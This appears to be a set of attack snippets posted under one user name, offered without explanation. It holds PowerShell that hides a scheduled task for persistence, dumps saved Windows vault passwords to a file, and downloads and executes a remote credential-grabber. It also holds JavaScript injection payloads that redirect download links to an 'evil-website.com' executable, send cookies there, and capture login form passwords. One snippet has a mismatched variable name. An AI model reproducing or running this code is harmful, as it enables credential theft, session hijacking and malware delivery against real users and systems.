K-Mistele

$action=New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-windowstyle hidden -ep bypass C:\path\to\script.ps1';
$trigger=New-ScheduledTaskTrigger -Once -At 'MM/DD/YYYY HH:MM:SS PM';
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'Launch' -User 'DOMAIN\username'

K-Mistele

$sqlitedll = ".\System.Data.SQLite.dll"

if (!(Test-Path -Path $sqlitedll))
{
    Write-Host "Grab your copy of System.Data.SQLite.dll. " -ForegroundColor Yellow
    Write-Host "Most likely from https://system.data.sqlite.org/downloads/1.0.113.0/sqlite-netFx40-static-binary-bundle-x64-2010-1.0.113.0.zip" -ForegroundColor Yellow
    Write-Host "Your bitness is:" (8*[IntPtr]::Size) -ForegroundColor Yellow
    Write-Host "Your .Net version is:" $PSVersionTable.CLRVersion -ForegroundColor Yellow
    Write-Host 'No installation needed. Just unzip and update the $sqlitedll variable above.' -ForegroundColor Yellow
    return

K-Mistele

powershell -ExecutionPolicy bypass "$action=New-ScheduledTaskAction -Execute 'C:\path\to\script.ps1';$trigger=New-ScheduledTaskTrigger -Once -At 'MM/DD/YYYY HH:MM:SS PM'; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'Launch' -User 'DOMAIN\username'"

K-Mistele

[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() |% {$_.RetrievePasswords();$_} | Out-File C:\users\public\output.dmp

K-Mistele

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/HanseSecure/credgrap_ie_edge/master/credgrap_ie_edge.ps1')"

K-Mistele

[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } | select username,resource,password

K-Mistele

// grab all download links on the page
const download_links = document.getElementsByClassName('download-link');
 
// change their target to a malicious piece of software hosted on the attacker's server
for (let link of download_links) {
  link.setAttribute('href', 'https://evil-website.com/evil-program.exe');
}

K-Mistele

// capture the cookies
const cookie = document.cookie;
 
// send the cookies to the attacker
fetch('https://evil-website.com/cookie-capture', {
  data: cookie
});

K-Mistele

// add an event listener to the form 
const form_element = document.getElementsByTagName('form')[0];
form_element.addEventListener('submit', () => {
 
  // capture the username and password from the form
  const username = document.getElementById('username_input').value;
  const password = document.getElementById('password_input').value;
 
  // send the username and password to the attacker
  fetch(`https://evil-website.com/password-capture/?u=${username}&p=${password}`);

K-Mistele

const username = document.getElementById('username_input');
const username_box = document.getElementById('username_box');
user_name_box.innerHTML = username;